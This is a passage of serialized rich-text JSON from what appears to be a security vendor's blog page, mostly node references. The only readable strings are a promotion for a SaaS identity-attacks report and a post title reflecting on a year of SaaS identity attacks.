deType":865},{},[172677],{"type":943},{"data":172679,"marks":172680,"value":53880,"nodeType":865},{},[],{"data":172682,"content":172683,"nodeType":889},{"uri":168332},[172684],{"data":172685,"marks":172686,"value":169492,"nodeType":865},{},[172687],{"type":943},{"data":172689,"marks":172690,"value":14251,"nodeType":865},{},[],{"data":172692,"content":172693,"nodeType":1317},{},[172694],{"data":172695,"marks":172696,"value":333,"nodeType":865},{},[],{"data":172698,"content":172699,"nodeType":866},{},[172700,172703,172710],{"data":172701,"marks":172702,"value":21,"nodeType":865},{},[],{"data":172704,"content":172705,"nodeType":889},{"uri":169182},[172706],{"data":172707,"marks":172708,"value":333,"nodeType":865},{},[172709],{"type":943},{"data":172711,"marks":172712,"value":169518,"nodeType":865},{},[],{"data":172714,"content":172715,"nodeType":866},{},[172716,172719,172726,172729,172736],{"data":172717,"marks":172718,"value":169525,"nodeType":865},{},[],{"data":172720,"content":172721,"nodeType":889},{"uri":169528},[172722],{"data":172723,"marks":172724,"value":423,"nodeType":865},{},[172725],{"type":943},{"data":172727,"marks":172728,"value":169537,"nodeType":865},{},[],{"data":172730,"content":172731,"nodeType":889},{"uri":169540},[172732],{"data":172733,"marks":172734,"value":169546,"nodeType":865},{},[172735],{"type":943},{"data":172737,"marks":172738,"value":37929,"nodeType":865},{},[],{"data":172740,"content":172741,"nodeType":1317},{},[172742],{"data":172743,"marks":172744,"value":169556,"nodeType":865},{},[],{"data":172746,"content":172747,"nodeType":866},{},[172748,172751,172758],{"data":172749,"marks":172750,"value":101025,"nodeType":865},{},[],{"data":172752,"content":172753,"nodeType":889},{"uri":147580},[172754],{"data":172755,"marks":172756,"value":169570,"nodeType":865},{},[172757],{"type":943},{"data":172759,"marks":172760,"value":169574,"nodeType":865},{},[],{"data":172762,"content":172763,"nodeType":866},{},[172764],{"data":172765,"marks":172766,"value":169581,"nodeType":865},{},[],{"data":172768,"content":172769,"nodeType":1317},{},[172770],{"data":172771,"marks":172772,"value":147530,"nodeType":865},{},[],{"data":172774,"content":172775,"nodeType":866},{},[172776,172779,172786],{"data":172777,"marks":172778,"value":169594,"nodeType":865},{},[],{"data":172780,"content":172781,"nodeType":889},{"uri":103508},[172782],{"data":172783,"marks":172784,"value":147530,"nodeType":865},{},[172785],{"type":943},{"data":172787,"marks":172788,"value":169605,"nodeType":865},{},[],{"data":172790,"content":172791,"nodeType":866},{},[172792],{"data":172793,"marks":172794,"value":169612,"nodeType":865},{},[],{"data":172796,"content":172797,"nodeType":866},{},[172798],{"data":172799,"marks":172800,"value":169619,"nodeType":865},{},[],{"data":172802,"content":172803,"nodeType":972},{},[],{"data":172805,"content":172806,"nodeType":981},{},[172807],{"data":172808,"marks":172809,"value":169629,"nodeType":865},{},[],{"data":172811,"content":172812,"nodeType":866},{},[172813],{"data":172814,"marks":172815,"value":169636,"nodeType":865},{},[],{"data":172817,"content":172818,"nodeType":866},{},[172819],{"data":172820,"marks":172821,"value":169643,"nodeType":865},{},[],{"data":172823,"content":172824,"nodeType":972},{},[],{"data":172826,"content":172827,"nodeType":1317},{},[172828],{"data":172829,"marks":172830,"value":169653,"nodeType":865},{},[],{"data":172832,"content":172833,"nodeType":866},{},[172834],{"data":172835,"marks":172836,"value":169660,"nodeType":865},{},[],{"data":172838,"content":172839,"nodeType":866},{},[172840],{"data":172841,"marks":172842,"value":169667,"nodeType":865},{},[],{"data":172844,"content":172845,"nodeType":866},{},[172846,172849,172856],{"data":172847,"marks":172848,"value":169674,"nodeType":865},{},[],{"data":172850,"content":172851,"nodeType":889},{"uri":147580},[172852],{"data":172853,"marks":172854,"value":169682,"nodeType":865},{},[172855],{"type":943},{"data":172857,"marks":172858,"value":169686,"nodeType":865},{},[],{"data":172860,"content":172861,"nodeType":866},{},[172862,172865,172872,172875,172882,172885,172892,172895,172902,172905,172912,172915,172922,172925,172932,172935,172942,172945,172952,172955,172962,172965,172972],{"data":172863,"marks":172864,"value":169693,"nodeType":865},{},[],{"data":172866,"content":172867,"nodeType":889},{"uri":169696},[172868],{"data":172869,"marks":172870,"value":169702,"nodeType":865},{},[172871],{"type":943},{"data":172873,"marks":172874,"value":2717,"nodeType":865},{},[],{"data":172876,"content":172877,"nodeType":889},{"uri":169708},[172878],{"data":172879,"marks":172880,"value":169714,"nodeType":865},{},[172881],{"type":943},{"data":172883,"marks":172884,"value":2717,"nodeType":865},{},[],{"data":172886,"content":172887,"nodeType":889},{"uri":169720},[172888],{"data":172889,"marks":172890,"value":169726,"nodeType":865},{},[172891],{"type":943},{"data":172893,"marks":172894,"value":2717,"nodeType":865},{},[],{"data":172896,"content":172897,"nodeType":889},{"uri":56197},[172898],{"data":172899,"marks":172900,"value":66867,"nodeType":865},{},[172901],{"type":943},{"data":172903,"marks":172904,"value":2717,"nodeType":865},{},[],{"data":172906,"content":172907,"nodeType":889},{"uri":8450},[172908],{"data":172909,"marks":172910,"value":8061,"nodeType":865},{},[172911],{"type":943},{"data":172913,"marks":172914,"value":2717,"nodeType":865},{},[],{"data":172916,"content":172917,"nodeType":889},{"uri":169169},[172918],{"data":172919,"marks":172920,"value":169757,"nodeType":865},{},[172921],{"type":943},{"data":172923,"marks":172924,"value":2717,"nodeType":865},{},[],{"data":172926,"content":172927,"nodeType":889},{"uri":145802},[172928],{"data":172929,"marks":172930,"value":145808,"nodeType":865},{},[172931],{"type":943},{"data":172933,"marks":172934,"value":2717,"nodeType":865},{},[],{"data":172936,"content":172937,"nodeType":889},{"uri":169773},[172938],{"data":172939,"marks":172940,"value":169779,"nodeType":865},{},[172941],{"type":943},{"data":172943,"marks":172944,"value":2717,"nodeType":865},{},[],{"data":172946,"content":172947,"nodeType":889},{"uri":101210},[172948],{"data":172949,"marks":172950,"value":101216,"nodeType":865},{},[172951],{"type":943},{"data":172953,"marks":172954,"value":169793,"nodeType":865},{},[],{"data":172956,"content":172957,"nodeType":889},{"uri":169796},[172958],{"data":172959,"marks":172960,"value":169802,"nodeType":865},{},[172961],{"type":943},{"data":172963,"marks":172964,"value":3476,"nodeType":865},{},[],{"data":172966,"content":172967,"nodeType":889},{"uri":169808},[172968],{"data":172969,"marks":172970,"value":169814,"nodeType":865},{},[172971],{"type":943},{"data":172973,"marks":172974,"value":14251,"nodeType":865},{},[],{"data":172976,"content":172977,"nodeType":866},{},[172978],{"data":172979,"marks":172980,"value":169824,"nodeType":865},{},[],{"data":172982,"content":172983,"nodeType":972},{},[],{"data":172985,"content":172986,"nodeType":1317},{},[172987],{"data":172988,"marks":172989,"value":169834,"nodeType":865},{},[],{"data":172991,"content":172992,"nodeType":866},{},[172993],{"data":172994,"marks":172995,"value":169841,"nodeType":865},{},[],{"data":172997,"content":172998,"nodeType":1616},{},[172999,173023,173043,173063],{"data":173000,"content":173001,"nodeType":1570},{},[173002],{"data":173003,"content":173004,"nodeType":866},{},[173005,173008,173016,173020],{"data":173006,"marks":173007,"value":21,"nodeType":865},{},[],{"data":173009,"content":173010,"nodeType":889},{"uri":169856},[173011],{"data":173012,"marks":173013,"value":169863,"nodeType":865},{},[173014,173015],{"type":943},{"type":926},{"data":173017,"marks":173018,"value":2688,"nodeType":865},{},[173019],{"type":926},{"data":173021,"marks":173022,"value":169871,"nodeType":865},{},[],{"data":173024,"content":173025,"nodeType":1570},{},[173026],{"data":173027,"content":173028,"nodeType":866},{},[173029,173032,173040],{"data":173030,"marks":173031,"value":21,"nodeType":865},{},[],{"data":173033,"content":173034,"nodeType":889},{"uri":8450},[173035],{"data":173036,"marks":173037,"value":169889,"nodeType":865},{},[173038,173039],{"type":943},{"type":926},{"data":173041,"marks":173042,"value":169893,"nodeType":865},{},[],{"data":173044,"content":173045,"nodeType":1570},{},[173046],{"data":173047,"content":173048,"nodeType":866},{},[173049,173052,173060],{"data":173050,"marks":173051,"value":21,"nodeType":865},{},[],{"data":173053,"content":173054,"nodeType":889},{"uri":147552},[173055],{"data":173056,"marks":173057,"value":169911,"nodeType":865},{},[173058,173059],{"type":943},{"type":926},{"data":173061,"marks":173062,"value":169915,"nodeType":865},{},[],{"data":173064,"content":173065,"nodeType":1570},{},[173066],{"data":173067,"content":173068,"nodeType":866},{},[173069,173072,173080,173084],{"data":173070,"marks":173071,"value":21,"nodeType":865},{},[],{"data":173073,"content":173074,"nodeType":889},{"uri":169927},[173075],{"data":173076,"marks":173077,"value":169934,"nodeType":865},{},[173078,173079],{"type":943},{"type":926},{"data":173081,"marks":173082,"value":2688,"nodeType":865},{},[173083],{"type":926},{"data":173085,"marks":173086,"value":169942,"nodeType":865},{},[],{"data":173088,"content":173089,"nodeType":866},{},[173090],{"data":173091,"marks":173092,"value":169949,"nodeType":865},{},[],{"data":173094,"content":173095,"nodeType":866},{},[173096],{"data":173097,"marks":173098,"value":169956,"nodeType":865},{},[],{"data":173100,"content":173101,"nodeType":972},{},[],{"data":173103,"content":173104,"nodeType":1317},{},[173105],{"data":173106,"marks":173107,"value":169966,"nodeType":865},{},[],{"data":173109,"content":173110,"nodeType":866},{},[173111],{"data":173112,"marks":173113,"value":169973,"nodeType":865},{},[],{"data":173115,"content":173116,"nodeType":866},{},[173117,173120,173127,173130,173137,173140,173147,173150,173157],{"data":173118,"marks":173119,"value":169980,"nodeType":865},{},[],{"data":173121,"content":173122,"nodeType":889},{"uri":169856},[173123],{"data":173124,"marks":173125,"value":169988,"nodeType":865},{},[173126],{"type":943},{"data":173128,"marks":173129,"value":2717,"nodeType":865},{},[],{"data":173131,"content":173132,"nodeType":889},{"uri":147552},[173133],{"data":173134,"marks":173135,"value":169143,"nodeType":865},{},[173136],{"type":943},{"data":173138,"marks":173139,"value":2717,"nodeType":865},{},[],{"data":173141,"content":173142,"nodeType":889},{"uri":170004},[173143],{"data":173144,"marks":173145,"value":170010,"nodeType":865},{},[173146],{"type":943},{"data":173148,"marks":173149,"value":3476,"nodeType":865},{},[],{"data":173151,"content":173152,"nodeType":889},{"uri":105869},[173153],{"data":173154,"marks":173155,"value":105875,"nodeType":865},{},[173156],{"type":943},{"data":173158,"marks":173159,"value":170024,"nodeType":865},{},[],{"data":173161,"content":173162,"nodeType":866},{},[173163],{"data":173164,"marks":173165,"value":170031,"nodeType":865},{},[],{"data":173167,"content":173168,"nodeType":866},{},[173169],{"data":173170,"marks":173171,"value":170038,"nodeType":865},{},[],{"data":173173,"content":173174,"nodeType":972},{},[],{"data":173176,"content":173177,"nodeType":981},{},[173178],{"data":173179,"marks":173180,"value":116385,"nodeType":865},{},[],{"data":173182,"content":173183,"nodeType":866},{},[173184],{"data":173185,"marks":173186,"value":170054,"nodeType":865},{},[],{"data":173188,"content":173189,"nodeType":866},{},[173190,173193,173200],{"data":173191,"marks":173192,"value":170061,"nodeType":865},{},[],{"data":173194,"content":173195,"nodeType":889},{"uri":13171},[173196],{"data":173197,"marks":173198,"value":11198,"nodeType":865},{},[173199],{"type":943},{"data":173201,"marks":173202,"value":170072,"nodeType":865},{},[],{"data":173204,"content":173205,"nodeType":866},{},[173206,173209,173216],{"data":173207,"marks":173208,"value":170079,"nodeType":865},{},[],{"data":173210,"content":173211,"nodeType":889},{"uri":170082},[173212],{"data":173213,"marks":173214,"value":170088,"nodeType":865},{},[173215],{"type":943},{"data":173217,"marks":173218,"value":14251,"nodeType":865},{},[],{"data":173220,"content":173223,"nodeType":912},{"target":173221},{"sys":173222},{"id":170096,"type":909,"linkType":910},[],{"data":173225,"content":173226,"nodeType":866},{},[173227],{"data":173228,"marks":173229,"value":21,"nodeType":865},{},[],{"entries":173231},{"hyperlink":173232,"inline":173233,"block":173234},[],[],[173235],{"sys":173236,"__typename":1414,"type":1415,"ctaText":173237,"buttonLabel":173238,"buttonColour":1418,"buttonUrl":170082},{"id":170096},"Check out the SaaS Attacks Report to learn about how identity attacks are the leading cause of SaaS breaches in 2024","Download the report",{"items":173240},[],{},"Reflecting on a year of SaaS identity attacks",{"items":173244},[173245,174302,174869],{"__typename":1429,"sys":173246,"content":173247,"title":169042,"synopsis":169043,"hashTags":59,"publishedDate":169044,"slug":169045,"tagsCollection":174292,"authorsCollection":174298},{"id":167829},{"json":173248},{"data":173249,"content":173250,"nodeType":1382},{},[173251,173257,173273,173279,173284,173290,173316,173321,173326,173332,173338,173343,173349,173365,173371,173377,173382,173388,173394,173436,173452,173458,173464,173470,173475,173481,173487,173493,173499,173505,173511,173521,173526,173532,173547,173563,173569,173575,173591,173597,173612,173618,173660,173666,173682,173688,173693,173708,173724,173730,173746,173752,173757,173763,173779,173785,173791,173796,173802,173808,173814,173820,173825,173831,173837,173843,173849,173854,173860,173866,173876,173889,173895,173901,173961,173967,173973,173979,173985,173991,173997,174003,174009,174025,174031,174036,174042,174047,174053,174059,174065,174070,174076,174082,174088,174118,174124,174130,174136,174142,174148,174154,174160,174166,174208,174213,174219,174255,174260,174266,174281,174286],{"data":173252,"content":173253,"nodeType":866},{},[173254],{"data":173255,"marks":173256,"value":167840,"nodeType":865},{},[],{"data":173258,"content":173259,"nodeType":866},{},[173260,173263,173270],{"data":173261,"marks":173262,"value":167847,"nodeType":865},{},[],{"data":173264,"content":173265,"nodeType":889},{"uri":167850},[173266],{"data":173267,"marks":173268,"value":167856,"nodeType":865},{},[173269],{"type":943},{"data":173271,"marks":173272,"value":167860,"nodeType":865},{},[],{"data":173274,"content":173275,"nodeType":866},{},[173276],{"data":173277,"marks":173278,"value":167867,"nodeType":865},{},[],{"data":173280,"content":173283,"nodeType":912},{"target":173281},{"sys":173282},{"id":167872,"type":909,"linkType":910},[],{"data":173285,"content":173286,"nodeType":866},{},[173287],{"data":173288,"marks":173289,"value":167880,"nodeType":865},{},[],{"data":173291,"content":173292,"nodeType":866},{},[173293,173296,173303,173306,173313],{"data":173294,"marks":173295,"value":167887,"nodeType":865},{},[],{"data":173297,"content":173298,"nodeType":889},{"uri":167890},[173299],{"data":173300,"marks":173301,"value":13502,"nodeType":865},{},[173302],{"type":943},{"data":173304,"marks":173305,"value":167899,"nodeType":865},{},[],{"data":173307,"content":173308,"nodeType":889},{"uri":127868},[173309],{"data":173310,"marks":173311,"value":167907,"nodeType":865},{},[173312],{"type":943},{"data":173314,"marks":173315,"value":167911,"nodeType":865},{},[],{"data":173317,"content":173320,"nodeType":912},{"target":173318},{"sys":173319},{"id":167916,"type":909,"linkType":910},[],{"data":173322,"content":173325,"nodeType":912},{"target":173323},{"sys":173324},{"id":167922,"type":909,"linkType":910},[],{"data":173327,"content":173328,"nodeType":866},{},[173329],{"data":173330,"marks":173331,"value":167930,"nodeType":865},{},[],{"data":173333,"content":173334,"nodeType":866},{},[173335],{"data":173336,"marks":173337,"value":167937,"nodeType":865},{},[],{"data":173339,"content":173342,"nodeType":912},{"target":173340},{"sys":173341},{"id":167942,"type":909,"linkType":910},[],{"data":173344,"content":173345,"nodeType":866},{},[173346],{"data":173347,"marks":173348,"value":167950,"nodeType":865},{},[],{"data":173350,"content":173351,"nodeType":866},{},[173352,173355,173362],{"data":173353,"marks":173354,"value":167957,"nodeType":865},{},[],{"data":173356,"content":173357,"nodeType":889},{"uri":167960},[173358],{"data":173359,"marks":173360,"value":167966,"nodeType":865},{},[173361],{"type":943},{"data":173363,"marks":173364,"value":167970,"nodeType":865},{},[],{"data":173366,"content":173367,"nodeType":981},{},[173368],{"data":173369,"marks":173370,"value":167977,"nodeType":865},{},[],{"data":173372,"content":173373,"nodeType":866},{},[173374],{"data":173375,"marks":173376,"value":167984,"nodeType":865},{},[],{"data":173378,"content":173381,"nodeType":912},{"target":173379},{"sys":173380},{"id":167989,"type":909,"linkType":910},[],{"data":173383,"content":173384,"nodeType":866},{},[173385],{"data":173386,"marks":173387,"value":167997,"nodeType":865},{},[],{"data":173389,"content":173390,"nodeType":866},{},[173391],{"data":173392,"marks":173393,"value":168004,"nodeType":865},{},[],{"data":173395,"content":173396,"nodeType":1616},{},[173397,173410,173423],{"data":173398,"content":173399,"nodeType":1570},{},[173400],{"data":173401,"content":173402,"nodeType":866},{},[173403,173407],{"data":173404,"marks":173405,"value":168018,"nodeType":865},{},[173406],{"type":926},{"data":173408,"marks":173409,"value":168022,"nodeType":865},{},[],{"data":173411,"content":173412,"nodeType":1570},{},[173413],{"data":173414,"content":173415,"nodeType":866},{},[173416,173420],{"data":173417,"marks":173418,"value":168033,"nodeType":865},{},[173419],{"type":926},{"data":173421,"marks":173422,"value":168037,"nodeType":865},{},[],{"data":173424,"content":173425,"nodeType":1570},{},[173426],{"data":173427,"content":173428,"nodeType":866},{},[173429,173433],{"data":173430,"marks":173431,"value":168048,"nodeType":865},{},[173432],{"type":926},{"data":173434,"marks":173435,"value":168052,"nodeType":865},{},[],{"data":173437,"content":173438,"nodeType":866},{},[173439,173442,173449],{"data":173440,"marks":173441,"value":168059,"nodeType":865},{},[],{"data":173443,"content":173444,"nodeType":889},{"uri":110403},[173445],{"data":173446,"marks":173447,"value":168067,"nodeType":865},{},[173448],{"type":943},{"data":173450,"marks":173451,"value":1615,"nodeType":865},{},[],{"data":173453,"content":173454,"nodeType":866},{},[173455],{"data":173456,"marks":173457,"value":168077,"nodeType":865},{},[],{"data":173459,"content":173460,"nodeType":981},{},[173461],{"data":173462,"marks":173463,"value":168084,"nodeType":865},{},[],{"data":173465,"content":173466,"nodeType":866},{},[173467],{"data":173468,"marks":173469,"value":168091,"nodeType":865},{},[],{"data":173471,"content":173474,"nodeType":912},{"target":173472},{"sys":173473},{"id":134748,"type":909,"linkType":910},[],{"data":173476,"content":173477,"nodeType":866},{},[173478],{"data":173479,"marks":173480,"value":168103,"nodeType":865},{},[],{"data":173482,"content":173483,"nodeType":866},{},[173484],{"data":173485,"marks":173486,"value":168110,"nodeType":865},{},[],{"data":173488,"content":173489,"nodeType":1317},{},[173490],{"data":173491,"marks":173492,"value":168117,"nodeType":865},{},[],{"data":173494,"content":173495,"nodeType":866},{},[173496],{"data":173497,"marks":173498,"value":168124,"nodeType":865},{},[],{"data":173500,"content":173501,"nodeType":866},{},[173502],{"data":173503,"marks":173504,"value":168131,"nodeType":865},{},[],{"data":173506,"content":173507,"nodeType":866},{},[173508],{"data":173509,"marks":173510,"value":168138,"nodeType":865},{},[],{"data":173512,"content":173513,"nodeType":866},{},[173514,173518],{"data":173515,"marks":173516,"value":168146,"nodeType":865},{},[173517],{"type":926},{"data":173519,"marks":173520,"value":168150,"nodeType":865},{},[],{"data":173522,"content":173525,"nodeType":912},{"target":173523},{"sys":173524},{"id":168155,"type":909,"linkType":910},[],{"data":173527,"content":173528,"nodeType":866},{},[173529],{"data":173530,"marks":173531,"value":168163,"nodeType":865},{},[],{"data":173533,"content":173534,"nodeType":866},{},[173535,173538,173544],{"data":173536,"marks":173537,"value":168170,"nodeType":865},{},[],{"data":173539,"content":173540,"nodeType":889},{"uri":168173},[173541],{"data":173542,"marks":173543,"value":157843,"nodeType":865},{},[],{"data":173545,"marks":173546,"value":168181,"nodeType":865},{},[],{"data":173548,"content":173549,"nodeType":866},{},[173550,173553,173560],{"data":173551,"marks":173552,"value":168188,"nodeType":865},{},[],{"data":173554,"content":173555,"nodeType":889},{"uri":67859},[173556],{"data":173557,"marks":173558,"value":168196,"nodeType":865},{},[173559],{"type":943},{"data":173561,"marks":173562,"value":14251,"nodeType":865},{},[],{"data":173564,"content":173565,"nodeType":1317},{},[173566],{"data":173567,"marks":173568,"value":168206,"nodeType":865},{},[],{"data":173570,"content":173571,"nodeType":866},{},[173572],{"data":173573,"marks":173574,"value":168213,"nodeType":865},{},[],{"data":173576,"content":173577,"nodeType":866},{},[173578,173581,173588],{"data":173579,"marks":173580,"value":168220,"nodeType":865},{},[],{"data":173582,"content":173583,"nodeType":889},{"uri":168223},[173584],{"data":173585,"marks":173586,"value":168229,"nodeType":865},{},[173587],{"type":943},{"data":173589,"marks":173590,"value":168233,"nodeType":865},{},[],{"data":173592,"content":173593,"nodeType":866},{},[173594],{"data":173595,"marks":173596,"value":168240,"nodeType":865},{},[],{"data":173598,"content":173599,"nodeType":866},{},[173600,173603,173609],{"data":173601,"marks":173602,"value":168247,"nodeType":865},{},[],{"data":173604,"content":173605,"nodeType":889},{"uri":131895},[173606],{"data":173607,"marks":173608,"value":168254,"nodeType":865},{},[],{"data":173610,"marks":173611,"value":1615,"nodeType":865},{},[],{"data":173613,"content":173614,"nodeType":1317},{},[173615],{"data":173616,"marks":173617,"value":168264,"nodeType":865},{},[],{"data":173619,"content":173620,"nodeType":866},{},[173621,173624,173630,173633,173639,173642,173648,173651,173657],{"data":173622,"marks":173623,"value":168271,"nodeType":865},{},[],{"data":173625,"content":173626,"nodeType":889},{"uri":168274},[173627],{"data":173628,"marks":173629,"value":168279,"nodeType":865},{},[],{"data":173631,"marks":173632,"value":2717,"nodeType":865},{},[],{"data":173634,"content":173635,"nodeType":889},{"uri":168285},[173636],{"data":173637,"marks":173638,"value":168290,"nodeType":865},{},[],{"data":173640,"marks":173641,"value":2717,"nodeType":865},{},[],{"data":173643,"content":173644,"nodeType":889},{"uri":168296},[173645],{"data":173646,"marks":173647,"value":168301,"nodeType":865},{},[],{"data":173649,"marks":173650,"value":4988,"nodeType":865},{},[],{"data":173652,"content":173653,"nodeType":889},{"uri":168307},[173654],{"data":173655,"marks":173656,"value":168312,"nodeType":865},{},[],{"data":173658,"marks":173659,"value":14251,"nodeType":865},{},[],{"data":173661,"content":173662,"nodeType":866},{},[173663],{"data":173664,"marks":173665,"value":168322,"nodeType":865},{},[],{"data":173667,"content":173668,"nodeType":866},{},[173669,173672,173679],{"data":173670,"marks":173671,"value":168329,"nodeType":865},{},[],{"data":173673,"content":173674,"nodeType":889},{"uri":168332},[173675],{"data":173676,"marks":173677,"value":168338,"nodeType":865},{},[173678],{"type":943},{"data":173680,"marks":173681,"value":14251,"nodeType":865},{},[],{"data":173683,"content":173684,"nodeType":866},{},[173685],{"data":173686,"marks":173687,"value":168348,"nodeType":865},{},[],{"data":173689,"content":173692,"nodeType":912},{"target":173690},{"sys":173691},{"id":123799,"type":909,"linkType":910},[],{"data":173694,"content":173695,"nodeType":866},{},[173696,173699,173705],{"data":173697,"marks":173698,"value":168360,"nodeType":865},{},[],{"data":173700,"content":173701,"nodeType":889},{"uri":168173},[173702],{"data":173703,"marks":173704,"value":157843,"nodeType":865},{},[],{"data":173706,"marks":173707,"value":168370,"nodeType":865},{},[],{"data":173709,"content":173710,"nodeType":866},{},[173711,173714,173721],{"data":173712,"marks":173713,"value":168377,"nodeType":865},{},[],{"data":173715,"content":173716,"nodeType":889},{"uri":131844},[173717],{"data":173718,"marks":173719,"value":168385,"nodeType":865},{},[173720],{"type":943},{"data":173722,"marks":173723,"value":14251,"nodeType":865},{},[],{"data":173725,"content":173726,"nodeType":981},{},[173727],{"data":173728,"marks":173729,"value":168395,"nodeType":865},{},[],{"data":173731,"content":173732,"nodeType":866},{},[173733,173736,173743],{"data":173734,"marks":173735,"value":168402,"nodeType":865},{},[],{"data":173737,"content":173738,"nodeType":889},{"uri":13054},[173739],{"data":173740,"marks":173741,"value":3493,"nodeType":865},{},[173742],{"type":943},{"data":173744,"marks":173745,"value":168413,"nodeType":865},{},[],{"data":173747,"content":173748,"nodeType":866},{},[173749],{"data":173750,"marks":173751,"value":168420,"nodeType":865},{},[],{"data":173753,"content":173756,"nodeType":912},{"target":173754},{"sys":173755},{"id":168425,"type":909,"linkType":910},[],{"data":173758,"content":173759,"nodeType":866},{},[173760],{"data":173761,"marks":173762,"value":168433,"nodeType":865},{},[],{"data":173764,"content":173765,"nodeType":866},{},[173766,173769,173776],{"data":173767,"marks":173768,"value":162657,"nodeType":865},{},[],{"data":173770,"content":173771,"nodeType":889},{"uri":162660},[173772],{"data":173773,"marks":173774,"value":162666,"nodeType":865},{},[173775],{"type":943},{"data":173777,"marks":173778,"value":1615,"nodeType":865},{},[],{"data":173780,"content":173781,"nodeType":866},{},[173782],{"data":173783,"marks":173784,"value":168456,"nodeType":865},{},[],{"data":173786,"content":173787,"nodeType":866},{},[173788],{"data":173789,"marks":173790,"value":168463,"nodeType":865},{},[],{"data":173792,"content":173795,"nodeType":912},{"target":173793},{"sys":173794},{"id":168468,"type":909,"linkType":910},[],{"data":173797,"content":173798,"nodeType":1317},{},[173799],{"data":173800,"marks":173801,"value":168476,"nodeType":865},{},[],{"data":173803,"content":173804,"nodeType":866},{},[173805],{"data":173806,"marks":173807,"value":168483,"nodeType":865},{},[],{"data":173809,"content":173810,"nodeType":866},{},[173811],{"data":173812,"marks":173813,"value":168490,"nodeType":865},{},[],{"data":173815,"content":173816,"nodeType":866},{},[173817],{"data":173818,"marks":173819,"value":168497,"nodeType":865},{},[],{"data":173821,"content":173824,"nodeType":912},{"target":173822},{"sys":173823},{"id":123928,"type":909,"linkType":910},[],{"data":173826,"content":173827,"nodeType":1317},{},[173828],{"data":173829,"marks":173830,"value":168509,"nodeType":865},{},[],{"data":173832,"content":173833,"nodeType":866},{},[173834],{"data":173835,"marks":173836,"value":168516,"nodeType":865},{},[],{"data":173838,"content":173839,"nodeType":866},{},[173840],{"data":173841,"marks":173842,"value":168523,"nodeType":865},{},[],{"data":173844,"content":173845,"nodeType":866},{},[173846],{"data":173847,"marks":173848,"value":168530,"nodeType":865},{},[],{"data":173850,"content":173853,"nodeType":912},{"target":173851},{"sys":173852},{"id":168535,"type":909,"linkType":910},[],{"data":173855,"content":173856,"nodeType":981},{},[173857],{"data":173858,"marks":173859,"value":168543,"nodeType":865},{},[],{"data":173861,"content":173862,"nodeType":866},{},[173863],{"data":173864,"marks":173865,"value":168550,"nodeType":865},{},[],{"data":173867,"content":173868,"nodeType":866},{},[173869,173873],{"data":173870,"marks":173871,"value":168558,"nodeType":865},{},[173872],{"type":926},{"data":173874,"marks":173875,"value":168562,"nodeType":865},{},[],{"data":173877,"content":173878,"nodeType":866},{},[173879,173882,173886],{"data":173880,"marks":173881,"value":168569,"nodeType":865},{},[],{"data":173883,"marks":173884,"value":168574,"nodeType":865},{},[173885],{"type":926},{"data":173887,"marks":173888,"value":168578,"nodeType":865},{},[],{"data":173890,"content":173891,"nodeType":866},{},[173892],{"data":173893,"marks":173894,"value":168585,"nodeType":865},{},[],{"data":173896,"content":173897,"nodeType":866},{},[173898],{"data":173899,"marks":173900,"value":168592,"nodeType":865},{},[],{"data":173902,"content":173903,"nodeType":1616},{},[173904,173923,173942],{"data":173905,"content":173906,"nodeType":1570},{},[173907],{"data":173908,"content":173909,"nodeType":866},{},[173910,173913,173920],{"data":173911,"marks":173912,"value":168605,"nodeType":865},{},[],{"data":173914,"content":173915,"nodeType":889},{"uri":13054},[173916],{"data":173917,"marks":173918,"value":3493,"nodeType":865},{},[173919],{"type":943},{"data":173921,"marks":173922,"value":14251,"nodeType":865},{},[],{"data":173924,"content":173925,"nodeType":1570},{},[173926],{"data":173927,"content":173928,"nodeType":866},{},[173929,173932,173939],{"data":173930,"marks":173931,"value":168625,"nodeType":865},{},[],{"data":173933,"content":173934,"nodeType":889},{"uri":115681},[173935],{"data":173936,"marks":173937,"value":168633,"nodeType":865},{},[173938],{"type":943},{"data":173940,"marks":173941,"value":1615,"nodeType":865},{},[],{"data":173943,"content":173944,"nodeType":1570},{},[173945],{"data":173946,"content":173947,"nodeType":866},{},[173948,173951,173958],{"data":173949,"marks":173950,"value":168646,"nodeType":865},{},[],{"data":173952,"content":173953,"nodeType":889},{"uri":168649},[173954],{"data":173955,"marks":173956,"value":168655,"nodeType":865},{},[173957],{"type":943},{"data":173959,"marks":173960,"value":113401,"nodeType":865},{},[],{"data":173962,"content":173963,"nodeType":866},{},[173964],{"data":173965,"marks":173966,"value":168665,"nodeType":865},{},[],{"data":173968,"content":173969,"nodeType":1317},{},[173970],{"data":173971,"marks":173972,"value":168672,"nodeType":865},{},[],{"data":173974,"content":173975,"nodeType":866},{},[173976],{"data":173977,"marks":173978,"value":168679,"nodeType":865},{},[],{"data":173980,"content":173981,"nodeType":866},{},[173982],{"data":173983,"marks":173984,"value":168686,"nodeType":865},{},[],{"data":173986,"content":173987,"nodeType":866},{},[173988],{"data":173989,"marks":173990,"value":168693,"nodeType":865},{},[],{"data":173992,"content":173993,"nodeType":866},{},[173994],{"data":173995,"marks":173996,"value":168700,"nodeType":865},{},[],{"data":173998,"content":173999,"nodeType":1317},{},[174000],{"data":174001,"marks":174002,"value":168707,"nodeType":865},{},[],{"data":174004,"content":174005,"nodeType":866},{},[174006],{"data":174007,"marks":174008,"value":168714,"nodeType":865},{},[],{"data":174010,"content":174011,"nodeType":866},{},[174012,174015,174022],{"data":174013,"marks":174014,"value":168721,"nodeType":865},{},[],{"data":174016,"content":174017,"nodeType":889},{"uri":6710},[174018],{"data":174019,"marks":174020,"value":168729,"nodeType":865},{},[174021],{"type":943},{"data":174023,"marks":174024,"value":14251,"nodeType":865},{},[],{"data":174026,"content":174027,"nodeType":866},{},[174028],{"data":174029,"marks":174030,"value":168739,"nodeType":865},{},[],{"data":174032,"content":174035,"nodeType":912},{"target":174033},{"sys":174034},{"id":168744,"type":909,"linkType":910},[],{"data":174037,"content":174038,"nodeType":866},{},[174039],{"data":174040,"marks":174041,"value":168752,"nodeType":865},{},[],{"data":174043,"content":174046,"nodeType":912},{"target":174044},{"sys":174045},{"id":168757,"type":909,"linkType":910},[],{"data":174048,"content":174049,"nodeType":1317},{},[174050],{"data":174051,"marks":174052,"value":168765,"nodeType":865},{},[],{"data":174054,"content":174055,"nodeType":866},{},[174056],{"data":174057,"marks":174058,"value":168772,"nodeType":865},{},[],{"data":174060,"content":174061,"nodeType":866},{},[174062],{"data":174063,"marks":174064,"value":168779,"nodeType":865},{},[],{"data":174066,"content":174069,"nodeType":912},{"target":174067},{"sys":174068},{"id":168784,"type":909,"linkType":910},[],{"data":174071,"content":174072,"nodeType":1317},{},[174073],{"data":174074,"marks":174075,"value":168792,"node